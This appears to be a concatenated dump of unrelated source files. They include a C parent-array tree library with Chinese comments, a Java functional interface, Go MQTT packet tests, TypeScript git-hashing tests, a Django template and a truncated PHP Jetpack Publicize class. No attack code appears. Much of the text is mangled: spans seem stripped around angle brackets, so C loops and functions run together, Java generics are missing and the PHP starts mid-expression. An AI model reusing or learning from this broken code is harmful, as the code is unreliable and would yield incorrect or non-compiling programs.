树的双亲表存储(存储结构由c6-4.h定义)的基本操作(14个) */\n Status InitTree(PTree *T)\n { /* 操作结果: 构造空树T */\n (*T).n=0;\n return OK;\n }\n\n void DestroyTree()\n { /* 由于PTree是定长类型,无法销毁 */\n }\n\n typedef struct\n {\n int num;\n TElemType name;\n }QElemType; /* 定义队列元素类型 */\n #include\"c3-2.h\" /* 定义LinkQueue类型 */\n #include\"bo3-2.c\" /* LinkQueue类型的基本操作 */\n Status CreateTree(PTree *T)\n { /* 操作结果: 构造树T */\n LinkQueue q;\n QElemType p,qq;\n int i=1,j,l;\n char c[MAX_TREE_SIZE]; /* 临时存放孩子结点数组 */\n InitQueue(&q); /* 初始化队列 */\n printf(\"请输入根结点(字符型,空格为空): \");\n scanf(\"%c%*c\",&(*T).nodes[0].data); /* 根结点序号为0,%*c吃掉回车符 */\n if((*T).nodes[0].data!=Nil) /* 非空树 */\n {\n (*T).nodes[0].parent=-1; /* 根结点无双亲 */\n qq.name=(*T).nodes[0].data;\n qq.num=0;\n EnQueue(&q,qq); /* 入队此结点 */\n while(iMAX_TREE_SIZE)\n {\n printf(\"结点数超过数组容量\\n\");\n exit(OVERFLOW);\n }\n (*T).n=i;\n }\n else\n (*T).n=0;\n return OK;\n }\n\n #define ClearTree InitTree /* 二者操作相同 */\n\n Status TreeEmpty(PTree T)\n { /* 初始条件: 树T存在。操作结果: 若T为空树,则返回TRUE,否则返回FALSE */\n if(T.n)\n return FALSE;\n else\n return TRUE;\n }\n\n int TreeDepth(PTree T)\n { /* 初始条件: 树T存在。操作结果: 返回T的深度 */\n int k,m,def,max=0;\n for(k=0;k=0) /* 有双亲 */\n printf(\" %c\",Value(T,T.nodes[i].parent)); /* 双亲 */\n printf(\"\\n\");\n }\n return OK;\n }\n\n Status InsertChild(PTree *T,TElemType p,int i,PTree c)\n { /* 初始条件: 树T存在,p是T中某个结点,1≤i≤p所指结点的度+1,非空树c与T不相交 */\n /* 操作结果: 插入c为T中p结点的第i棵子树 */\n int j,k,l,f=1,n=0; /* 设交换标志f的初值为1,p的孩子数n的初值为0 */\n PTNode t;\n if(!TreeEmpty(*T)) /* T不空 */\n {\n for(j=0;j<(*T).n;j++) /* 在T中找p的序号 */\n if((*T).nodes[j].data==p) /* p的序号为j */\n break;\n l=j+1; /* 如果c是p的第1棵子树,则插在j+1处 */\n if(i>1) /* c不是p的第1棵子树 */\n {\n for(k=j+1;k<(*T).n;k++) /* 从j+1开始找p的前i-1个孩子 */\n if((*T).nodes[k].parent==j) /* 当前结点是p的孩子 */\n {\n n++; /* 孩子数加1 */\n if(n==i-1) /* 找到p的第i-1个孩子,其序号为k1 */\n break;\n }\n l=k+1; /* c插在k+1处 */\n } /* p的序号为j,c插在l处 */\n if(l<(*T).n) /* 插入点l不在最后 */\n for(k=(*T).n-1;k>=l;k--) /* 依次将序号l以后的结点向后移c.n个位置 */\n {\n (*T).nodes[k+c.n]=(*T).nodes[k];\n if((*T).nodes[k].parent>=l)\n (*T).nodes[k+c.n].parent+=c.n;\n }\n for(k=0;k(*T).nodes[j+1].parent)\n {/* 如果结点j的双亲排在结点j+1的双亲之后(树没有按层序排列),交换两结点*/\n t=(*T).nodes[j];\n (*T).nodes[j]=(*T).nodes[j+1];\n (*T).nodes[j+1]=t;\n f=1; /* 交换标志置1 */\n for(k=j;k<(*T).n;k++) /* 改变双亲序号 */\n if((*T).nodes[k].parent==j)\n (*T).nodes[k].parent++; /* 双亲序号改为j+1 */\n else if((*T).nodes[k].parent==j+1)\n (*T).nodes[k].parent--; /* 双亲序号改为j */\n }\n }\n return OK;\n }\n else /* 树T不存在 */\n return ERROR;\n }\n\n Status deleted[MAX_TREE_SIZE+1]; /* 删除标志数组(全局量) */\n void DeleteChild(PTree *T,TElemType p,int i)\n { /* 初始条件: 树T存在,p是T中某个结点,1≤i≤p所指结点的度 */\n /* 操作结果: 删除T中结点p的第i棵子树 */\n int j,k,n=0;\n LinkQueue q;\n QElemType pq,qq;\n for(j=0;j<=(*T).n;j++)\n deleted[j]=0; /* 置初值为0(不删除标记) */\n pq.name='a'; /* 此成员不用 */\n InitQueue(&q); /* 初始化队列 */\n for(j=0;j<(*T).n;j++)\n if((*T).nodes[j].data==p)\n break; /* j为结点p的序号 */\n for(k=j+1;k<(*T).n;k++)\n {\n if((*T).nodes[k].parent==j)\n n++;\n if(n==i)\n break; /* k为p的第i棵子树结点的序号 */\n }\n if(k<(*T).n) /* p的第i棵子树结点存在 */\n {\n n=0;\n pq.num=k;\n deleted[k]=1; /* 置删除标记 */\n n++;\n EnQueue(&q,pq);\n while(!QueueEmpty(q))\n {\n DeQueue(&q,&qq);\n for(j=qq.num+1;j<(*T).n;j++)\n if((*T).nodes[j].parent==qq.num)\n {\n pq.num=j;\n deleted[j]=1; /* 置删除标记 */\n n++;\n EnQueue(&q,pq);\n }\n }\n for(j=0;j<(*T).n;j++)\n if(deleted[j]==1)\n {\n for(k=j+1;k<=(*T).n;k++)\n {\n deleted[k-1]=deleted[k];\n (*T).nodes[k-1]=(*T).nodes[k];\n if((*T).nodes[k].parent>j)\n (*T).nodes[k-1].parent--;\n }\n j--;\n }\n (*T).n-=n; /* n为待删除结点数 */\n }\n }\n\n void TraverseTree(PTree T,void(*Visit)(TElemType))\n { /* 初始条件:二叉树T存在,Visit是对结点操作的应用函数 */\n /* 操作结果:层序遍历树T,对每个结点调用函数Visit一次且仅一次 */\n int i;\n for(i=0;i the type of the first argument to the operation\n * @param the type of the second argument to the operation\n *\n * @since 4.0\n */\n@FunctionalInterface\npublic interface BiConsumerEx extends BiConsumer, Serializable {\n\n /**\n * Exception-declaring version of {@link BiConsumer#accept}.\n * @throws Exception in case of any exceptional case\n */\n void acceptEx(T t, U u) throws Exception;\n\n @Override\n default void accept(T t, U u) {\n try {\n acceptEx(t, u);\n } catch (Exception e) {\n throw ExceptionUtil.sneakyThrow(e);\n }\n }\n\n /**\n * {@code Serializable} variant of\n * {@link BiConsumer#andThen(BiConsumer) java.util.function.BiConsumer#andThen(BiConsumer)}.\n */\n default BiConsumerEx andThen(BiConsumerEx after) {\n checkNotNull(after, \"after\");\n return (left, right) -> {\n accept(left, right);\n after.accept(left, right);\n };\n }\n}\n"} +{"text": "package packets\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestWritePubrelPacket(t *testing.T) {\n\tb := make([]byte, 0, 2048)\n\tbuf := bytes.NewBuffer(b)\n\tpid := uint16(65535)\n\tpubrel := &Pubrel{\n\t\tPacketID: pid,\n\t}\n\terr := NewWriter(buf).WriteAndFlush(pubrel)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %s\", err.Error())\n\t}\n\tpacket, err := NewReader(buf).ReadPacket()\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %s\", err.Error())\n\t}\n\tn, err := buf.ReadByte()\n\tif err != io.EOF {\n\t\tt.Fatalf(\"ReadByte() error,want io.EOF,got %s and %v bytes\", err, n)\n\t}\n\tif p, ok := packet.(*Pubrel); ok {\n\t\tif p.PacketID != pid {\n\t\t\tt.Fatalf(\"PacketID error,want %d, got %d\", pid, p.PacketID)\n\t\t}\n\t} else {\n\t\tt.Fatalf(\"Packet type error,want %v,got %v\", reflect.TypeOf(&Pubrec{}), reflect.TypeOf(packet))\n\t}\n\n}\n\nfunc TestReadPubrelPacket(t *testing.T) {\n\tpubrelBytes := bytes.NewBuffer([]byte{0x62, 2, 0, 1})\n\tpacket, err := NewReader(pubrelBytes).ReadPacket()\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %s\", err.Error())\n\t}\n\tif p, ok := packet.(*Pubrel); ok {\n\t\tif p.PacketID != 1 {\n\t\t\tt.Fatalf(\"PacketID error,want %d,got %d\", 1, p.PacketID)\n\t\t}\n\t} else {\n\t\tt.Fatalf(\"Packet Type error,want %v,got %v\", reflect.TypeOf(&Pubrel{}), reflect.TypeOf(packet))\n\t}\n}\n\nfunc TestPubrel_NewPubcomp(t *testing.T) {\n\tpid := uint16(10)\n\tpubrel := &Pubrel{\n\t\tPacketID: pid,\n\t}\n\tpubcomp := pubrel.NewPubcomp()\n\tif pubcomp.PacketID != pid {\n\t\tt.Fatalf(\"PacketID error,want %d,got %d\", 1, pubcomp.PacketID)\n\t}\n}\n"} +{"text": "\n\n\n\n\n"} +{"text": "// Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT license.\r\n// See LICENSE in the project root for license information.\r\n\r\nimport { getPackageDeps, parseGitLsTree, parseGitFilename } from '../getPackageDeps';\r\nimport { IPackageDeps } from '../IPackageDeps';\r\nimport * as path from 'path';\r\nimport { execSync } from 'child_process';\r\n\r\nimport { FileSystem, FileConstants } from '@rushstack/node-core-library';\r\n\r\nconst SOURCE_PATH: string = path.join(__dirname).replace(path.join('lib', 'test'), path.join('src', 'test'));\r\n\r\nconst TEST_PROJECT_PATH: string = path.join(SOURCE_PATH, 'testProject');\r\nconst NESTED_TEST_PROJECT_PATH: string = path.join(SOURCE_PATH, 'nestedTestProject');\r\n\r\ndescribe('parseGitFilename', () => {\r\n it('can parse backslash-escaped filenames', (done) => {\r\n expect(parseGitFilename('some/path/to/a/file name')).toEqual('some/path/to/a/file name');\r\n expect(parseGitFilename('\"some/path/to/a/file?name\"')).toEqual('some/path/to/a/file?name');\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\\\\\name\"')).toEqual('some/path/to/a/file\\\\name');\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\\"name\"')).toEqual('some/path/to/a/file\"name');\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\\"name\"')).toEqual('some/path/to/a/file\"name');\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\347\\\\275\\\\221\\\\347\\\\275\\\\221name\"')).toEqual(\r\n 'some/path/to/a/file网网name'\r\n );\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\\\\\347\\\\\\\\\\\\347\\\\275\\\\221name\"')).toEqual(\r\n 'some/path/to/a/file\\\\347\\\\网name'\r\n );\r\n expect(parseGitFilename('\"some/path/to/a/file\\\\\\\\\\\\347\\\\275\\\\221\\\\347\\\\275\\\\221name\"')).toEqual(\r\n 'some/path/to/a/file\\\\网网name'\r\n );\r\n done();\r\n });\r\n});\r\n\r\ndescribe('parseGitLsTree', () => {\r\n it('can handle a blob', (done) => {\r\n const filename: string = 'src/typings/tsd.d.ts';\r\n const hash: string = '3451bccdc831cb43d7a70ed8e628dcf9c7f888c8';\r\n\r\n const output: string = `100644 blob ${hash}\\t${filename}`;\r\n const changes: Map = parseGitLsTree(output);\r\n\r\n expect(changes.size).toEqual(1); // Expect there to be exactly 1 change\r\n expect(changes.get(filename)).toEqual(hash); // Expect the hash to be ${hash}\r\n done();\r\n });\r\n\r\n it('can handle a submodule', (done) => {\r\n const filename: string = 'rushstack';\r\n const hash: string = 'c5880bf5b0c6c1f2e2c43c95beeb8f0a808e8bac';\r\n\r\n const output: string = `160000 commit ${hash}\\t${filename}`;\r\n const changes: Map = parseGitLsTree(output);\r\n\r\n expect(changes.size).toEqual(1); // Expect there to be exactly 1 change\r\n expect(changes.get(filename)).toEqual(hash); // Expect the hash to be ${hash}\r\n done();\r\n });\r\n\r\n it('can handle multiple lines', (done) => {\r\n const filename1: string = 'src/typings/tsd.d.ts';\r\n const hash1: string = '3451bccdc831cb43d7a70ed8e628dcf9c7f888c8';\r\n\r\n const filename2: string = 'src/foo bar/tsd.d.ts';\r\n const hash2: string = '0123456789abcdef1234567890abcdef01234567';\r\n\r\n const output: string = `100644 blob ${hash1}\\t${filename1}\\n100666 blob ${hash2}\\t${filename2}`;\r\n const changes: Map = parseGitLsTree(output);\r\n\r\n expect(changes.size).toEqual(2); // Expect there to be exactly 2 changes\r\n expect(changes.get(filename1)).toEqual(hash1); // Expect the hash to be ${hash1}\r\n expect(changes.get(filename2)).toEqual(hash2); // Expect the hash to be ${hash2}\r\n done();\r\n });\r\n\r\n it('throws with malformed input', (done) => {\r\n expect(parseGitLsTree.bind(undefined, 'some super malformed input')).toThrow();\r\n done();\r\n });\r\n});\r\n\r\ndescribe('getPackageDeps', () => {\r\n it('can parse committed file', (done) => {\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return done(e);\r\n }\r\n\r\n done();\r\n });\r\n\r\n it('can handle files in subfolders', (done) => {\r\n const results: IPackageDeps = getPackageDeps(NESTED_TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'src/file 1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return done(e);\r\n }\r\n\r\n done();\r\n });\r\n\r\n it('can handle adding one file', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'a.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'a.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle adding two files', (done) => {\r\n const tempFilePath1: string = path.join(TEST_PROJECT_PATH, 'a.txt');\r\n const tempFilePath2: string = path.join(TEST_PROJECT_PATH, 'b.txt');\r\n\r\n FileSystem.writeFile(tempFilePath1, 'a');\r\n FileSystem.writeFile(tempFilePath2, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath1);\r\n FileSystem.deleteFile(tempFilePath2);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'a.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n 'b.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle removing one file', (done) => {\r\n const testFilePath: string = path.join(TEST_PROJECT_PATH, 'file1.txt');\r\n\r\n FileSystem.deleteFile(testFilePath);\r\n\r\n function _done(e?: Error): void {\r\n execSync(`git checkout ${testFilePath}`, { stdio: 'ignore' });\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle changing one file', (done) => {\r\n const testFilePath: string = path.join(TEST_PROJECT_PATH, 'file1.txt');\r\n\r\n FileSystem.writeFile(testFilePath, 'abc');\r\n\r\n function _done(e?: Error): void {\r\n execSync(`git checkout ${testFilePath}`, { stdio: 'ignore' });\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'f2ba8f84ab5c1bce84a7b441cb1959cfc7093b7f',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can exclude a committed file', (done) => {\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH, [\r\n 'file1.txt',\r\n 'file 2.txt',\r\n 'file蝴蝶.txt'\r\n ]);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return done(e);\r\n }\r\n\r\n done();\r\n });\r\n\r\n it('can exclude an added file', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'a.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH, ['a.txt']);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n expect(filePaths).toHaveLength(Object.keys(expectedFiles).length);\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle a filename with spaces', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'a file.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n 'a file.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n expect(filePaths).toHaveLength(Object.keys(expectedFiles).length);\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle a filename with multiple spaces', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'a file name.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n 'a file name.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n expect(filePaths).toHaveLength(Object.keys(expectedFiles).length);\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle a filename with non-standard characters', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'newFile批把.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n 'newFile批把.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n expect(filePaths).toHaveLength(Object.keys(expectedFiles).length);\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n\r\n it('can handle a filename with non-standard characters', (done) => {\r\n const tempFilePath: string = path.join(TEST_PROJECT_PATH, 'newFile批把.txt');\r\n\r\n FileSystem.writeFile(tempFilePath, 'a');\r\n\r\n function _done(e?: Error): void {\r\n FileSystem.deleteFile(tempFilePath);\r\n done(e);\r\n }\r\n\r\n const results: IPackageDeps = getPackageDeps(TEST_PROJECT_PATH);\r\n try {\r\n const expectedFiles: { [key: string]: string } = {\r\n 'file1.txt': 'c7b2f707ac99ca522f965210a7b6b0b109863f34',\r\n 'file 2.txt': 'a385f754ec4fede884a4864d090064d9aeef8ccb',\r\n 'file蝴蝶.txt': 'ae814af81e16cb2ae8c57503c77e2cab6b5462ba',\r\n 'newFile批把.txt': '2e65efe2a145dda7ee51d1741299f848e5bf752e',\r\n [FileConstants.PackageJson]: '18a1e415e56220fa5122428a4ef8eb8874756576'\r\n };\r\n const filePaths: string[] = Object.keys(results.files).sort();\r\n\r\n expect(filePaths).toHaveLength(Object.keys(expectedFiles).length);\r\n\r\n filePaths.forEach((filePath) => expect(results.files[filePath]).toEqual(expectedFiles[filePath]));\r\n } catch (e) {\r\n return _done(e);\r\n }\r\n\r\n _done();\r\n });\r\n});\r\n"} +{"text": "{% extends \"base.html\" %}\n{% load course %}\n\n{% block title %}\n Module {{ module.order|add:1 }}: {{ module.title }}\n{% endblock %}\n\n{% block content %}\n {% with course=module.course %}\n

    Course \"{{ course.title }}\"

    \n
    \n

    Modules

    \n \n

    Edit modules

    \n
    \n
    \n

    Module {{ module.order|add:1 }}: {{ module.title }}

    \n

    Module contents:

    \n\n
    \n {% for content in module.contents.all %}\n
    \n {% with item=content.item %}\n

    {{ item }} ({{ item|model_name }})

    \n Edit\n
    \n \n {% csrf_token %}\n
    \n {% endwith %}\n
    \n {% empty %}\n

    This module has no contents yet.

    \n {% endfor %}\n
    \n

    Add new content:

    \n \n
    \n {% endwith %}\n{% endblock %}\n\n{% block domready %}\n $('#modules').sortable({\n stop: function(event, ui) {\n modules_order = {};\n $('#modules').children().each(function(){\n // update the order field\n $(this).find('.order').text($(this).index() + 1);\n // associate the module's id with its order\n modules_order[$(this).data('id')] = $(this).index();\n });\n $.ajax({\n type: 'POST',\n url: '{% url \"module_order\" %}',\n contentType: 'application/json; charset=utf-8',\n dataType: 'json',\n data: JSON.stringify(modules_order)\n });\n }\n });\n\n $('#module-contents').sortable({\n stop: function(event, ui) {\n contents_order = {};\n $('#module-contents').children().each(function(){\n // associate the module's id with its order\n contents_order[$(this).data('id')] = $(this).index();\n });\n\n $.ajax({\n type: 'POST',\n url: '{% url \"content_order\" %}',\n contentType: 'application/json; charset=utf-8',\n dataType: 'json',\n data: JSON.stringify(contents_order),\n });\n }\n });\n{% endblock %}"} +{"text": "ID );\n\t\t$is_user_connected = $user_token && ! is_wp_error( $user_token );\n\n\t\t// If the user is already connected via Jetpack, then we're good\n\t\tif ( $is_user_connected ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If they're not connected, then remove the Publicize UI and tell them they need to connect first\n\t\tglobal $publicize_ui;\n\t\tremove_action( 'pre_admin_screen_sharing', array( $publicize_ui, 'admin_page' ) );\n\n\t\t// Do we really need `admin_styles`? With the new admin UI, it's breaking some bits.\n\t\t// Jetpack::init()->admin_styles();\n\t\tadd_action( 'pre_admin_screen_sharing', array( $this, 'admin_page_warning' ), 1 );\n\t}\n\n\tfunction admin_page_warning() {\n\t\t$jetpack = Jetpack::init();\n\t\t$blog_name = get_bloginfo( 'blogname' );\n\t\tif ( empty( $blog_name ) ) {\n\t\t\t$blog_name = home_url( '/' );\n\t\t}\n\n\t\t?>\n\t\t
    \n\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t

    ' . esc_html( $blog_name ) . ''\n\t\t\t\t\t\t); ?>

    \n\t\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t

    build_connect_url( false, menu_page_url( 'sharing', false ) ); ?>\"\n\t\t\t\t\t\t\tclass=\"button-connector\"\n\t\t\t\t\t\t\tid=\"wpcom-connect\">\n\t\t\t\t\t

    \n\t\t\t\t\t

    \n\t\t\t\t\t\t\n\t\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t array( $this, 'receive_updated_publicize_connections' ),\n\t\t) );\n\t}\n\n\tfunction get_all_connections() {\n\t\t$connections = Jetpack_Options::get_option( 'publicize_connections' );\n\t\tif ( isset( $connections['google_plus'] ) ) {\n\t\t\tunset( $connections['google_plus'] );\n\t\t}\n\t\treturn $connections;\n\t}\n\n\tfunction get_connections( $service_name, $_blog_id = false, $_user_id = false ) {\n\t\tif ( false === $_user_id ) {\n\t\t\t$_user_id = $this->user_id();\n\t\t}\n\n\t\t$connections = $this->get_all_connections();\n\t\t$connections_to_return = array();\n\n\t\tif ( ! empty( $connections ) && is_array( $connections ) ) {\n\t\t\tif ( ! empty( $connections[ $service_name ] ) ) {\n\t\t\t\tforeach ( $connections[ $service_name ] as $id => $connection ) {\n\t\t\t\t\tif ( 0 == $connection['connection_data']['user_id'] || $_user_id == $connection['connection_data']['user_id'] ) {\n\t\t\t\t\t\t$connections_to_return[ $id ] = $connection;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $connections_to_return;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tfunction get_all_connections_for_user() {\n\t\t$connections = $this->get_all_connections();\n\n\t\t$connections_to_return = array();\n\t\tif ( ! empty( $connections ) ) {\n\t\t\tforeach ( (array) $connections as $service_name => $connections_for_service ) {\n\t\t\t\tforeach ( $connections_for_service as $id => $connection ) {\n\t\t\t\t\t$user_id = intval( $connection['connection_data']['user_id'] );\n\t\t\t\t\t// phpcs:ignore WordPress.PHP.YodaConditions.NotYoda\n\t\t\t\t\tif ( $user_id === 0 || $this->user_id() === $user_id ) {\n\t\t\t\t\t\t$connections_to_return[ $service_name ][ $id ] = $connection;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $connections_to_return;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tfunction get_connection_id( $connection ) {\n\t\treturn $connection['connection_data']['id'];\n\t}\n\n\tfunction get_connection_unique_id( $connection ) {\n\t\treturn $connection['connection_data']['token_id'];\n\t}\n\n\tfunction get_connection_meta( $connection ) 